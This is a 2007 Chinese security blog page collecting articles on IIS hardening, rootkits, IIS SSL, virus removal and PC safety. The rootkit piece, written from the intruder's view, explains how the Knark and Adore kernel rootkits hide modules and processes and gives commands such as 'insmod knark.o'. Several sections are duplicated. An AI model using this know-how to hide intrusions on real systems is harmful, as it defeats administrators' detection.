如果说你在这方面做得非常的仔细.但你至少还要仔细研究一下你主机现在所运行的有哪些服务,这些服务代表着什么?你应该很清楚!因为现在黑客软件,木马工具,远程控制软件大多是以一种服务的形式运行在你的服务器系统里,一般的防火墙,杀毒软件对其并没有任何反映的.对于服务形式出现的控制工具.比较难得发现,所以你就必须在服务器里运行的哪些服务非常熟悉.对于陌生或奇怪的服务应该安全设置好.
下面我都WIN2000的WWW(IIS)服务器安全配置略讲一下,WWW服务在WIN2000SERVER,ADSERVER,DATACENTERSERVER,版本中是默认安装的,如果你不需要用2000的WWW服务的话,建议不要安装.至于添加/删除你可以控制面板的去掉他的安装,或者在管理工具/服务里设置WORD WIDE WEB SERVICE启动类型为手动/禁用
这样的话系统就不默认启动改服务!
如果你需要用IIS来建站宣传一下自己的私服,你就必须按以下方法安全配置好IIS,
在IIS组件你首先要去掉你不需要的SMTP,SNNP,FTP,这样的话你可以降低你服务器运行所占用的CPU资源,和内存使用率.然后建议你删除你C:\INTERPUB\目录下的所有内容!或者更改路径.在IIS管理器中删除默认站点,(或者删除SCRIPTS这个虚拟目录)因为这个目录有可写的权限的.在新建的WEB站点中,设置IIS的权置,必须让它不能写入,或运行.因为IIS是默认支持ASP脚本的.然后在IIS中删除不需要的映射,这个很重要.如果你要支持PHP,CGI脚本的话,你还得配置好PHP.CGI的应用程序的正确映射,禁用或删除FSO组件,(去年深圳之窗就是被人家利用FSO黑了......)如果你要使用FSO的话,最好要改名!否则的话,你给别人提供主页上传的话,你肯定是会被黑的。小心呀!
目前在黑客横行的互联网空间中,利用IIS的漏洞,提申自己的权限,而成为AD,这些只是轻而易举的事情,这不需要花几天的时间去暴力破解一下口令,像自己架设的WEB服务器有种情况,更是数不甚数了.关于怎利用UNICODE漏洞去提供AD权限的文章,网上太多了,我就不多讲了.
这些来说应该是服务器安全防范方面的一个例子而已,真正要做到服务器的安全运行,需要你花大量的时间去摸索.因为这些来说,足以应付一些无聊的.....当然了,你如果需要WEB服务器,我还是建议你去使用AP了.他的源代码开发,免费,安全性稳定性都比IIS强得多了.
可怕的Rootkit木马后门
[ 2007-03-25 03:05:43 | 作者: sun ]
在我们获得了对目标的控制权后,还想保持这种控制权限,于是就出现了木马后门,Rootkit之类的保护权限的手段。首先来说一下我们常见的应用层次的木马后门,比如我们常见的远程控制类的软件,像国外的Sub7、VNC、netbus,国内的冰河、灰鸽子、黑洞等等,这些大家都很熟悉因此就不详细介绍了。然而此类后门的可以很容易被发现,现在的杀毒软件大多都能轻松的查处,即使暂时查不到,用其他手段检测也不是很困难,现在就我就给大家介绍一种比一般木马后门潜伏的更深的一类木马后门--Rootkit。
传统的Rootkit是一种比普通木马后门更为阴险的木马后门。它主要通过替换系统文件来达到目的。这样就会更加的隐蔽,使检测变得比较困难。传统的Rootkit对一系列平台均有效,但主要是针对Unix的,比如Linux,AIX,SunOs等操作系统。当然有些Rootkits可以通过替换DLL文件或更改系统来攻击Windows平台。Rootkit并不能让你直接获得权限,相反它是在你通过各种方法获得权限后才能使用的一种保护权限的措施,在我们获取系统根权限(根权限即root权限,是Unix系统的最高权限)以后,Rootkits提供了一套工具用来建立后门和隐藏行迹,从而让攻击者保住权限。
下面就针对Unix来讲解一下传统Rootkit的攻击原理。
RootKits是如何实现后门的呢?为了理解Rootkits后门,有必要先了解一下Unix的基本工作流程,当我们访问Unix时(不管是本地还是远程登陆),/bin/login程序都会运行,系统将通过/bin/login来收集并核对用户的帐号和密码。Rootkits使用一个带有根权限后门密码的/bin/login来替换系统的/bin/login,这样攻击者输入根权限后门的密码,就能进入系统。就算管理员更改了原来的系统密码或者把密码清空。我们仍能够使用后门密码以根用户身份登陆。在攻入Unix系统后,入侵者通常会进行一系列的攻击动作,如安装嗅探器收集重要数据,而Unix中也会有些系统文件会监视这些动作,比如ifconfig等,Rootkit当然不会束手就擒,它会同样替换一下这些系统文件,通常被Rootkit替换的系统程序有login,ifconfig,du,find,ls,netstart,ps等。由于篇幅问题,这些系统文件的功能就不一一罗列,有兴趣的读者可以自己去查找,现在Rootkit的工具很多,里面基本都是包含一些处理过的系统文件来代替原来的系统文件的,像tOmkit等一些Rootkit就是比较优秀的了。
防御办法:Rootkit如此可怕,得好好防它才行,实际上,防御他的最有效的方法时定期的对重要系统文件的完整性进行核查,这类的工具很多,像Tripwire就是一个非常不错的文件完整性检查工具。一但发现遭受到Rootkit攻击,那你就比较麻烦了,你必须完全重装所有的系统文件部件和程序,以确保安全性。
写到这里,战争似乎结束了,然而更可怕的Rootkit还没登场,那就是更加恐怖( 这个词一点也不夸张)的内核级Rootkit。在大多数操作系统中(各种Uni x和Windows),内核是操作系统最基本的部件,它控制着对网络设备、进程、系统内存、磁盘等的访问。例如当你打开一个文件时,打开文件的请求被发送到内核,内核负责从磁盘得到文件的比特位并运行你的文件浏览程序。内核级Rootkit使攻击者获得对系统底层的完全控制权。攻击者可以修改你的内核,大多数内核级Rootkit都能进行执行重定向,即截获运行某一程序的命令,将其重定向到入侵者所选中的程序并运行此程序。也就是说用户或管理员要运行程序A,被修改过的内核假装执行A,实际却执行了程序B。现在就介绍一下内核级的Rootkit是如何攻击Unix系统的。
和传统的Rootkit不同,Unix的bin/login并未被修改,但所有执行/bin/login 的请求(当登陆系统时将产生)都被重定向到攻击者制作的隐藏文件/bin/backdoorlogin,这样当系统管理员使用检测传统级别的Rootkit的方法(比如用tripwire之类的软件检测文件的完整性)就行不通了,因为/bin/login并没有被改变。同样的道理,攻击者对其他的系统程序也进行重定,这样你的操作实际就是按照入侵者的意愿执行了。也就是说,表面上你在运行程序A,你也认为自己运行的是程序A,而实际上你运行的是入侵者设定的程序B!
更恐怖的是,内核级Rootkit不仅仅只会进行执行重定向,许多内核级Rootkit还支持文件隐蔽。传统的Rootkit是通过替换ls程序来实现文件的隐藏,而内核级的Rootkit则是通过对内核的修改来对ls程序欺骗,更加的阴险隐蔽。另外内核级的Rootkit还能对进程和网络进行隐藏,用户将得不到真实的系统情况报告。
实现思路:根据系统的类型,攻击者有不同的方法来对内核进行修改,在N种Unix系统上修改内核最简单的方法就是利用系统本身的加载的内核模块(LKM)的功能,因此大多数的内核级Rootkit通过利用LKM动态地将内核更新来提供新功能,新添加的模块扩展了内核,同时对内核和其他使用内核的所有东西有了完全访问权。
因此,许多内核级Rootkit都通过LKM来实现。安装通过LKM实现的内核级Rootkit十分简单。例如,在Linux上安装Knark内核级Rootkit只需具有根权限的入侵者输入命令: insmod knark.o 就行了,模块被安装后就等着我们输入命令了。更妙的是整个过程不需要重启。通过LKM 实现的Rootkit在Unix上十分流行。我们也常常会通过给Windows平台打LKM补丁的方法攻击Windows。
内核级Rootkit 的几个例子
现在有大量的内核级Rootkit可用,现在我就选几种比较强大的来跟大家讨论一下。
一、 linux 上的内核级Rootkit:Knark
Knark具有各种标准的内核级Rootkit功能,包括执行重定向,文件隐藏,进程隐藏和网络隐藏。另外,还有不少比较过瘾的功能,如:
1、远程执行:我们可以通过网络向运行Knark的机器发送一条命令,源地址是假造的,命令被发往UDP端口53,使之表面上看起来像是DNS流量。我们就可以利用这个功能来升级Knark,删除系统文件或其他任何我们想做的事。
2、任务攻击:当某一进程在系统上运行时,它总是具有与UID和有效的UID(EUID)相关的权限。另外进程还具有与文件系统UID(FSUID)相关的文件及目录访问权。Knark的任务攻击能力可实时地将进程UID,EUID和FSUID改变。进程在不停止运动的情况下突然具有了新的权限。
3、隐藏混杂模式:同一般的RootKit一样,入侵者也会在受害者机器上运行嗅探器。我们可以用文件隐藏和进程隐藏将嗅探器隐藏起来。然而,以太网卡会被设成混杂模式,管理员可以检查到这一点Knark将内核进行了修改,使之隐瞒网卡的混合模式,这将使嗅探变得更加隐秘。
4、实时进程隐藏:Knark可以将一个正在运行的进程隐藏起来。通过发送信号31给一个进程,此进程将消失,但仍在运行。命令kill-31 process_id将阻止内核汇报任何有关此进程的信息。进程在运行时,ps和lsof命令的使用都不能显示此进程。
5、内核模块隐藏:Linux中的lsmod命令可以列出当前在机器上安装的LKM。我们自然不想让管理员看到Knark模块,因此Knark包含了一个单独的模块modhide,modhide将Knark和自己隐藏了起来。这样,当我们用Knark攻击一个系统时,我们首先为Knark.o做一个insmod,然后为modhide.o做一个insmod。这样不管谁运行lsmod命令,这些模块都不会被发现。
二、 另一个Linux上的内核级Rootkit:Adore
同Knark一样,Adore也是一个针对Linux的LKM RootKit。 他包含了标准的内核级Rootkit功能,如文件隐藏,进程隐藏,网络隐藏和内核模块隐藏。我们只所以讨论Adore,是因为他还有一个非常强大的功能:内置的根权限后门。
Adore的根权限后门可以让我们连接到系统上并获得根权限的命令外壳,此功能十分直接了当 ,Adore将此功能巧妙的包含在内核模块中了。这一招十分难破,因为管理员看不到任何文件、进程、侦听网络端口的迹象。
防御办法:防御内核级的Rootkit的根本办法是不要让攻击者得到你的机器的系统的根本权限(Unix里的root和Windows里的admin),不过这看起来像废话,目前对内核级的Rootkit还没有绝对的防御体系。
现在也存在一些Rootkit自动检测工具,但都不是很可靠。同时内核级的Rootkit也在不断的发展中,对一些系统来说防御它最好的办法是使用不支持LKM的内核,Linux的内核就可以设成不支持LKM的单一内核。
传统的Rootkit是一种比普通木马后门更为阴险的木马后门。它主要通过替换系统文件来达到目的。这样就会更加的隐蔽,使检测变得比较困难。传统的Rootkit对一系列平台均有效,但主要是针对Unix的,比如Linux,AIX,SunOs等操作系统。当然有些Rootkits可以通过替换DLL文件或更改系统来攻击Windows平台。Rootkit并不能让你直接获得权限,相反它是在你通过各种方法获得权限后才能使用的一种保护权限的措施,在我们获取系统根权限(根权限即root权限,是Unix系统的最高权限)以后,Rootkits提供了一套工具用来建立后门和隐藏行迹,从而让攻击者保住权限。
下面就针对Unix来讲解一下传统Rootkit的攻击原理。
RootKits是如何实现后门的呢?为了理解Rootkits后门,有必要先了解一下Unix的基本工作流程,当我们访问Unix时(不管是本地还是远程登陆),/bin/login程序都会运行,系统将通过/bin/login来收集并核对用户的帐号和密码。Rootkits使用一个带有根权限后门密码的/bin/login来替换系统的/bin/login,这样攻击者输入根权限后门的密码,就能进入系统。就算管理员更改了原来的系统密码或者把密码清空。我们仍能够使用后门密码以根用户身份登陆。在攻入Unix系统后,入侵者通常会进行一系列的攻击动作,如安装嗅探器收集重要数据,而Unix中也会有些系统文件会监视这些动作,比如ifconfig等,Rootkit当然不会束手就擒,它会同样替换一下这些系统文件,通常被Rootkit替换的系统程序有login,ifconfig,du,find,ls,netstart,ps等。由于篇幅问题,这些系统文件的功能就不一一罗列,有兴趣的读者可以自己去查找,现在Rootkit的工具很多,里面基本都是包含一些处理过的系统文件来代替原来的系统文件的,像tOmkit等一些Rootkit就是比较优秀的了。
防御办法:Rootkit如此可怕,得好好防它才行,实际上,防御他的最有效的方法时定期的对重要系统文件的完整性进行核查,这类的工具很多,像Tripwire就是一个非常不错的文件完整性检查工具。一但发现遭受到Rootkit攻击,那你就比较麻烦了,你必须完全重装所有的系统文件部件和程序,以确保安全性。
写到这里,战争似乎结束了,然而更可怕的Rootkit还没登场,那就是更加恐怖( 这个词一点也不夸张)的内核级Rootkit。在大多数操作系统中(各种Uni x和Windows),内核是操作系统最基本的部件,它控制着对网络设备、进程、系统内存、磁盘等的访问。例如当你打开一个文件时,打开文件的请求被发送到内核,内核负责从磁盘得到文件的比特位并运行你的文件浏览程序。内核级Rootkit使攻击者获得对系统底层的完全控制权。攻击者可以修改你的内核,大多数内核级Rootkit都能进行执行重定向,即截获运行某一程序的命令,将其重定向到入侵者所选中的程序并运行此程序。也就是说用户或管理员要运行程序A,被修改过的内核假装执行A,实际却执行了程序B。现在就介绍一下内核级的Rootkit是如何攻击Unix系统的。
和传统的Rootkit不同,Unix的bin/login并未被修改,但所有执行/bin/login 的请求(当登陆系统时将产生)都被重定向到攻击者制作的隐藏文件/bin/backdoorlogin,这样当系统管理员使用检测传统级别的Rootkit的方法(比如用tripwire之类的软件检测文件的完整性)就行不通了,因为/bin/login并没有被改变。同样的道理,攻击者对其他的系统程序也进行重定,这样你的操作实际就是按照入侵者的意愿执行了。也就是说,表面上你在运行程序A,你也认为自己运行的是程序A,而实际上你运行的是入侵者设定的程序B!
更恐怖的是,内核级Rootkit不仅仅只会进行执行重定向,许多内核级Rootkit还支持文件隐蔽。传统的Rootkit是通过替换ls程序来实现文件的隐藏,而内核级的Rootkit则是通过对内核的修改来对ls程序欺骗,更加的阴险隐蔽。另外内核级的Rootkit还能对进程和网络进行隐藏,用户将得不到真实的系统情况报告。
实现思路:根据系统的类型,攻击者有不同的方法来对内核进行修改,在N种Unix系统上修改内核最简单的方法就是利用系统本身的加载的内核模块(LKM)的功能,因此大多数的内核级Rootkit通过利用LKM动态地将内核更新来提供新功能,新添加的模块扩展了内核,同时对内核和其他使用内核的所有东西有了完全访问权。
因此,许多内核级Rootkit都通过LKM来实现。安装通过LKM实现的内核级Rootkit十分简单。例如,在Linux上安装Knark内核级Rootkit只需具有根权限的入侵者输入命令: insmod knark.o 就行了,模块被安装后就等着我们输入命令了。更妙的是整个过程不需要重启。通过LKM 实现的Rootkit在Unix上十分流行。我们也常常会通过给Windows平台打LKM补丁的方法攻击Windows。
内核级Rootkit 的几个例子
现在有大量的内核级Rootkit可用,现在我就选几种比较强大的来跟大家讨论一下。
一、 linux 上的内核级Rootkit:Knark
Knark具有各种标准的内核级Rootkit功能,包括执行重定向,文件隐藏,进程隐藏和网络隐藏。另外,还有不少比较过瘾的功能,如:
1、远程执行:我们可以通过网络向运行Knark的机器发送一条命令,源地址是假造的,命令被发往UDP端口53,使之表面上看起来像是DNS流量。我们就可以利用这个功能来升级Knark,删除系统文件或其他任何我们想做的事。
2、任务攻击:当某一进程在系统上运行时,它总是具有与UID和有效的UID(EUID)相关的权限。另外进程还具有与文件系统UID(FSUID)相关的文件及目录访问权。Knark的任务攻击能力可实时地将进程UID,EUID和FSUID改变。进程在不停止运动的情况下突然具有了新的权限。
3、隐藏混杂模式:同一般的RootKit一样,入侵者也会在受害者机器上运行嗅探器。我们可以用文件隐藏和进程隐藏将嗅探器隐藏起来。然而,以太网卡会被设成混杂模式,管理员可以检查到这一点Knark将内核进行了修改,使之隐瞒网卡的混合模式,这将使嗅探变得更加隐秘。
4、实时进程隐藏:Knark可以将一个正在运行的进程隐藏起来。通过发送信号31给一个进程,此进程将消失,但仍在运行。命令kill-31 process_id将阻止内核汇报任何有关此进程的信息。进程在运行时,ps和lsof命令的使用都不能显示此进程。
5、内核模块隐藏:Linux中的lsmod命令可以列出当前在机器上安装的LKM。我们自然不想让管理员看到Knark模块,因此Knark包含了一个单独的模块modhide,modhide将Knark和自己隐藏了起来。这样,当我们用Knark攻击一个系统时,我们首先为Knark.o做一个insmod,然后为modhide.o做一个insmod。这样不管谁运行lsmod命令,这些模块都不会被发现。
二、 另一个Linux上的内核级Rootkit:Adore
同Knark一样,Adore也是一个针对Linux的LKM RootKit。 他包含了标准的内核级Rootkit功能,如文件隐藏,进程隐藏,网络隐藏和内核模块隐藏。我们只所以讨论Adore,是因为他还有一个非常强大的功能:内置的根权限后门。
Adore的根权限后门可以让我们连接到系统上并获得根权限的命令外壳,此功能十分直接了当 ,Adore将此功能巧妙的包含在内核模块中了。这一招十分难破,因为管理员看不到任何文件、进程、侦听网络端口的迹象。
防御办法:防御内核级的Rootkit的根本办法是不要让攻击者得到你的机器的系统的根本权限(Unix里的root和Windows里的admin),不过这看起来像废话,目前对内核级的Rootkit还没有绝对的防御体系。
现在也存在一些Rootkit自动检测工具,但都不是很可靠。同时内核级的Rootkit也在不断的发展中,对一些系统来说防御它最好的办法是使用不支持LKM的内核,Linux的内核就可以设成不支持LKM的单一内核。
安全技巧教你妙用SSL给IIS也加一把锁
[ 2007-03-25 03:05:29 | 作者: sun ]
由于NT系统的易维护性,越来越多的中小企业在自己的网站上和内部办公管理系统上采用它,而且很多都是用默认的IIS来做WEB服务器使用。当然不能否认近来威胁NT系统的几个漏洞都是由于IIS配置不当造成的,而且可以预见,未来IIS还会被发现很多新的漏洞和安全问题,但只要我们做好合理的安全配置,还是可以避免很多安全隐患的。本文并没有系统的去讲如何全面安全的配置IIS,我只是从利用SSL加密HTTP通道来讲如果加强IIS安全的。
一、建立SSL安全机制
IIS的身份认证除了匿名访问、基本验证和Windows NT请求/响应方式外,还有一种安全性更高的认证,就是通过SSL(Security Socket Layer)安全机制使用数字证书。SSL(加密套接字协议层)位于HTTP层和TCP层之间,建立用户与服务器之间的加密通信,确保所传递信息的安全性。SSL是工作在公共密钥和私人密钥基础上的,任何用户都可以获得公共密钥来加密数据,但解密数据必须要通过相应的私人密钥。使用SSL安全机制时,首先客户端与服务器建立连接,服务器把它的数字证书与公共密钥一并发送给客户端,客户端随机生成会话密钥,用从服务器得到的公共密钥对会话密钥进行加密,并把会话密钥在网络上传递给服务器,而会话密钥只有在服务器端用私人密钥才能解密,这样,客户端和服务器端就建立了一个惟一的安全通道。
建立了SSL安全机制后,只有SSL允许的客户才能与SSL允许的Web站点进行通信,并且在使用URL资源定位器时,输入https:// ,而不是http://。
简单的说默认情况下我们所使用的HTTP协议是没有任何加密措施的,所有的消息全部都是以明文形式在网络上传送的,恶意的攻击者可以通过安装监听程序来获得我们和服务器之间的通讯内容。这点危害在一些企业内部网络中尤其比较大,对于使用HUB的企业内网来说简直就是没有任何安全可讲因为任何人都可以在一台电脑上看到其他人在网络中的活动,对于使用交换机来组网的网络来说虽然安全威胁性要小很多,但很多时候还是会有安全突破口,比如没有更改交换机的默认用户和口令,被人上去把自己的网络接口设置为侦听口,依然可以监视整个网络的所有活动。
所以全面加密整个网络传输隧道的确是个很好的安全措施,很可惜的是现在网络上有关于具体给IIS配置SSL的文章并不是很多,我简单的摸索了下把我的经验拿出来给大家分享。
二、操作办法
以Windows2000服务器版本的来做例子讲解的,我们首先需要在控制面板里的填加删除WINDOWS组件中去安装证书服务,这个服务在默认安装中是没有安装在系统里的,需要安装光盘来安装。
由于我们是第一次配置,所以选择创建一个新的证书。用默认的站点名称和加密位长设置就可以了。颁发成功以后我们在颁发的证书里找到刚才颁发的证书,双击其属性栏目然后在详细信息里选择将证书复制到文件。我们需要把证书导出到一个文件,这里我们把证书导出到c: sql.cer这个文件里。重新回到IIS的WEB管理界面里重新选择证书申请,这个时候出来的界面就是挂起的证书请求了。
一、建立SSL安全机制
IIS的身份认证除了匿名访问、基本验证和Windows NT请求/响应方式外,还有一种安全性更高的认证,就是通过SSL(Security Socket Layer)安全机制使用数字证书。SSL(加密套接字协议层)位于HTTP层和TCP层之间,建立用户与服务器之间的加密通信,确保所传递信息的安全性。SSL是工作在公共密钥和私人密钥基础上的,任何用户都可以获得公共密钥来加密数据,但解密数据必须要通过相应的私人密钥。使用SSL安全机制时,首先客户端与服务器建立连接,服务器把它的数字证书与公共密钥一并发送给客户端,客户端随机生成会话密钥,用从服务器得到的公共密钥对会话密钥进行加密,并把会话密钥在网络上传递给服务器,而会话密钥只有在服务器端用私人密钥才能解密,这样,客户端和服务器端就建立了一个惟一的安全通道。
建立了SSL安全机制后,只有SSL允许的客户才能与SSL允许的Web站点进行通信,并且在使用URL资源定位器时,输入https:// ,而不是http://。
简单的说默认情况下我们所使用的HTTP协议是没有任何加密措施的,所有的消息全部都是以明文形式在网络上传送的,恶意的攻击者可以通过安装监听程序来获得我们和服务器之间的通讯内容。这点危害在一些企业内部网络中尤其比较大,对于使用HUB的企业内网来说简直就是没有任何安全可讲因为任何人都可以在一台电脑上看到其他人在网络中的活动,对于使用交换机来组网的网络来说虽然安全威胁性要小很多,但很多时候还是会有安全突破口,比如没有更改交换机的默认用户和口令,被人上去把自己的网络接口设置为侦听口,依然可以监视整个网络的所有活动。
所以全面加密整个网络传输隧道的确是个很好的安全措施,很可惜的是现在网络上有关于具体给IIS配置SSL的文章并不是很多,我简单的摸索了下把我的经验拿出来给大家分享。
二、操作办法
以Windows2000服务器版本的来做例子讲解的,我们首先需要在控制面板里的填加删除WINDOWS组件中去安装证书服务,这个服务在默认安装中是没有安装在系统里的,需要安装光盘来安装。
由于我们是第一次配置,所以选择创建一个新的证书。用默认的站点名称和加密位长设置就可以了。颁发成功以后我们在颁发的证书里找到刚才颁发的证书,双击其属性栏目然后在详细信息里选择将证书复制到文件。我们需要把证书导出到一个文件,这里我们把证书导出到c: sql.cer这个文件里。重新回到IIS的WEB管理界面里重新选择证书申请,这个时候出来的界面就是挂起的证书请求了。
分析 病毒杀不死的原因
[ 2007-03-25 03:05:18 | 作者: sun ]
原因:
1.病毒正在运行。由于Windows保护正在运行的程序,所以杀毒软件是无法杀死正在运行的病毒。即使是真的杀死了病毒,电脑正常关机时内存中活动的病毒还会再复制一个病毒到硬盘上; (建议在安全模式下杀毒)
2.病毒隐藏在系统还原的文件夹“_restore”中;
3.删除注册表中RUN多余的启动项。
解决办法:
1.在Windows中杀毒前首先得中止病毒进程。对于WindowsXp/2000,可以使用任务管理器(Ctrl+Alt+Del三键齐按)来查看当前所有的进程,而对于Windows98/Me,则可以使用“黑客入门工具箱”或ATM来查看进程。确定哪个是来历不明的就停止掉,该过程俗称“杀进程”。不要怕出错,因为不会对电脑造成任何损坏,最多就是死机。注意,杀进程的操作有时得进行两次才成功。有的病毒有两个进程,互相保护,杀掉一个则会被另一个发现并恢复。此时应先把该病毒在注册表中的启动项去掉,然后用突然断电的方式重启电脑(不让病毒对系统有任何保存的操作),再进入安全模式杀。
2.在Windows中使用专杀工具杀毒。得使用最新的杀毒版本(至少要更新病毒库)。
3.禁用系统还原。在WindowsMe中禁用方法是∶鼠标右键点击“我的电脑”-属性-性能-文件系统-疑难解答-禁止系统还原。在WindowsXP中禁用方法是∶控制面板-系统-系统属性-系统还原-在所有驱动器上关闭系统还原。然后用软盘或U盘启动电脑,在dos下删除_RESTORE文件夹。
4.在Dos下杀毒不存在杀不死的问题。一般的杀毒软件都可以制作软盘版(含至少3张软盘),用第一张盘启动(CMOS中必须设定软盘启动在前)后按提示陆续放入其它盘就可以直接杀毒了。瑞星的软盘版需要用鼠标确定杀毒的驱动器,而金山毒霸的软盘版则默认全机查杀。实际上用金山毒霸在DOS下杀毒还可以更简单,用普通软盘启动盘或U盘启动盘启动电脑后,先换到C盘,然后进入金山毒霸的目录(命令:cd kav或cd kav5,与版本有关),然后输入KAVDX,回车就开始杀毒了。
1.病毒正在运行。由于Windows保护正在运行的程序,所以杀毒软件是无法杀死正在运行的病毒。即使是真的杀死了病毒,电脑正常关机时内存中活动的病毒还会再复制一个病毒到硬盘上; (建议在安全模式下杀毒)
2.病毒隐藏在系统还原的文件夹“_restore”中;
3.删除注册表中RUN多余的启动项。
解决办法:
1.在Windows中杀毒前首先得中止病毒进程。对于WindowsXp/2000,可以使用任务管理器(Ctrl+Alt+Del三键齐按)来查看当前所有的进程,而对于Windows98/Me,则可以使用“黑客入门工具箱”或ATM来查看进程。确定哪个是来历不明的就停止掉,该过程俗称“杀进程”。不要怕出错,因为不会对电脑造成任何损坏,最多就是死机。注意,杀进程的操作有时得进行两次才成功。有的病毒有两个进程,互相保护,杀掉一个则会被另一个发现并恢复。此时应先把该病毒在注册表中的启动项去掉,然后用突然断电的方式重启电脑(不让病毒对系统有任何保存的操作),再进入安全模式杀。
2.在Windows中使用专杀工具杀毒。得使用最新的杀毒版本(至少要更新病毒库)。
3.禁用系统还原。在WindowsMe中禁用方法是∶鼠标右键点击“我的电脑”-属性-性能-文件系统-疑难解答-禁止系统还原。在WindowsXP中禁用方法是∶控制面板-系统-系统属性-系统还原-在所有驱动器上关闭系统还原。然后用软盘或U盘启动电脑,在dos下删除_RESTORE文件夹。
4.在Dos下杀毒不存在杀不死的问题。一般的杀毒软件都可以制作软盘版(含至少3张软盘),用第一张盘启动(CMOS中必须设定软盘启动在前)后按提示陆续放入其它盘就可以直接杀毒了。瑞星的软盘版需要用鼠标确定杀毒的驱动器,而金山毒霸的软盘版则默认全机查杀。实际上用金山毒霸在DOS下杀毒还可以更简单,用普通软盘启动盘或U盘启动盘启动电脑后,先换到C盘,然后进入金山毒霸的目录(命令:cd kav或cd kav5,与版本有关),然后输入KAVDX,回车就开始杀毒了。
个人电脑防黑的安全准则
[ 2007-03-25 03:05:06 | 作者: sun ]
在这个网络时代,每个人都可以轻易地从网络上得到各种简单易用的黑客工具,于是,众多“黑客”就诞生了。这些人多半是一些无所事事的网虫,天生就有破坏的欲望。于是无聊+表现欲促使他们拿着从网上找来的各种“炸弹”之类的东西开始在浩大的网络中寻找可以炫耀一下自己本事的猎物。当你在网络上冲浪,或是正在同别人聊天时,机器突然死机了或是蓝屏了,网页不能浏览了,QQ登录不上去了,这时你就该想想自己是不是中毒了,或是被黑了。那么为防止我们的个人电脑被黑客攻击,我们使用电脑时该遵循些什么样的安全准则呢?
密码安全准则
不要使用简单的密码。不要简单地用生日、单词或电话号码作为密码,密码的长度至少要8个字符以上,包含数字、大、小写字母和键盘上的其他字符混合。对于不同的网站和程序,要使用不同口令,以防止被黑客破译。要记录好你的ID和密码以免忘记,但不要将记录存放在上网的电脑里。不要为了下次登录方便而保存密码;还有,要经常更改密码和不要向任何人透露您的密码。
电子邮件安全准则
不要轻易打开电子邮件中的附件,更不要轻易运行邮件附件中的程序,除非你知道信息的来源。要时刻保持警惕性,不要轻易相信熟人发来的E-mail就一定没有黑客程序,如Happy99就会自动加在E-mail附件当中。不要在网络上随意公布或者留下您的电子邮件地址,去转信站申请一个转信信箱,因为只有它是不怕炸的。在E-mail客户端软件中限制邮件大小和过滤垃圾邮件;使用远程登录的方式来预览邮件;最好申请数字签名;对于邮件附件要先用防病毒软件和专业清除木马的工具进行扫描后方可使用。
IE的安全准则
对于使用公共机器上网的网民,一定要注意IE的安全性。因为IE的自动完成功能在给用户填写表单和输入Web地址带来一定便利的同时,也给用户带来了潜在的泄密危险,最好禁用IE的自动完成功能。IE的历史记录中保存了用户已经访问过的所有页面的链接,在离开之前一定要清除历史记录;另外IE的临时文件夹(\Windows\Temporary Internet Files)内保存了用户已经浏览过的网页,通过IE的脱机浏览特性或者是其他第三方的离线浏览软件,其他用户能够轻松地翻阅你浏览的内容,所以离开之前也需删除该路径下的文件。还要使用具有对Cookie程序控制权的安全程序,因为Cookie程序会把信息传送回网站,当然安装个人防火墙也可对Cookie的使用进行禁止、提示或启用。
聊天软件的安全准则
在使用聊天软件的时候,最好设置为隐藏用户,以免别有用心者使用一些专用软件查看到你的IP地址,然后采用一些针对IP 地址的黑客工具对你进行攻击。在聊天室的时候,还要预防Java炸弹,攻击者通常发送一些带恶意代码的HTML语句使你的电脑打开无数个窗口或显示巨型图片,最终导致死机。你只需禁止Java脚本的运行和显示图像功能就可以避免遭到攻击了,但这时你就没法访问一些交互式网页了,这需要你个人权衡。
防止特洛伊木马安全准则
不要太容易信任别人,不要轻易安装和运行从那些不知名的网站(特别是不可靠的FTP站点)下载的软件和来历不明的软件。有些程序可能是木马程序,如果你一旦安装了这些程序,它们就会在你不知情的情况下更改你的系统或者连接到远程的服务器。这样,黑客就可以很容易进入你的电脑。笔者并不是让大家不信任来自Internet的任何东西,因为即使是很大的网站,都有可能遭到黑客的破坏。对于此类软件,即使通过了一般反病毒软件的检查也不要轻易运行,要用如Cleaner等专门的黑客程序清除软件检查,并且需要提醒大家注意的是这些软件的病毒库文件要经常更新。同时不要让他人随意在您的计算机上安装软件。另外如果是购买二手电脑,不要购买或者使用那些曾经受过入侵,但仍未清理过硬盘的二手电脑。因为这样很可能为黑客提供了入侵你的电脑的机会,最好
定期升级你的系统
很多常用的程序和操作系统的内核都会发现漏洞,某些漏洞会让入侵者很容易进入到你的系统,这些漏洞会以很快的速度在黑客中传开。如近期流传极广的尼姆达病毒就是针对微软信件浏览器的弱点和Windows NT/2000、IIS的漏洞而编写出的一种传播能力很强的病毒。因此,用户一定要小心防范。软件的开发商会把补丁公布,以便用户补救这些漏洞。建议用户订阅关于这些漏洞的邮件列表,以便及时知道这些漏洞后打上补丁,以防黑客攻击。当然最好使用最新版本的浏览器软件、电子邮件软件以及其他程序,但不要是测试版本。
安装防火墙
不要在没有防火墙的情况下上网冲浪。如果你使用的是宽带连接,例如ADSL或者光纤,那么你就会在任何时候都连上Internet,这样,你就很有可能成为那些闹着玩的黑客的目标。最好在不需要的时候断开连接,如可以在你的电脑上装上防黑客的防火墙——一种反入侵的程序作为你的电脑的门卫,以监视数据流动或是断开网络连接。如Lockdown2000 、ZoneAlarm、天网或者其他的一些个人防火墙软件。另外如瑞星、江民、金山公司的最新版杀毒软件都附有防火墙,可以起到杀毒、防黑的双重功效,值得信赖。
禁止文件共享
局域网里的用户喜欢将自己的电脑设置为文件共享,以方便相互之间资源共享,但是如果你设了共享的话,就为那些黑客留了后门,这样他们就有机可乘进入你的电脑偷看你的文件,甚至搞些小破坏。建议在非设共享不可的情况下,最好为共享文件夹设置一个密码,否则公众以及你的对手将可以自由地访问你的那些共享文件。
如果你在上网时遵守了以上这些准则的话,就可以在一定程度上保证个人电脑的安全,避免黑客的攻击。
是重新格式化硬盘,并重装操作系统。
推荐:防止ACCESS数据库被下载的几种方法
[ 2007-03-25 03:04:51 | 作者: sun ]
昨天和animator试验了一下,把data.mdb文件改名为data.asp文件后放在wwwroot目录里。然后在IE中输入data.asp路径后,发现IE显示一片空白,右键->察看源文件,跳出记事本,将内容另存为.mdb文件,用ACCESS打开,发现需要密码,也就是说至少文件头被破坏。
然后用Flashget试验下载data.asp文件,并另存为data.mdb文件,发现用ACCESS打开完好无损!看来,好一些编程人员在开发的时候都认为,改了mdb后缀为asp就能防下载的概念,是错的!后台数据库被下载对于一个asp+access的网站来说无疑是一场惨绝人寰的灾难。今天找了各方的文章,归纳一下有以下9种办法防止数据库被下载(欢迎补充)。
1.发挥你的想象力修改数据库文件名
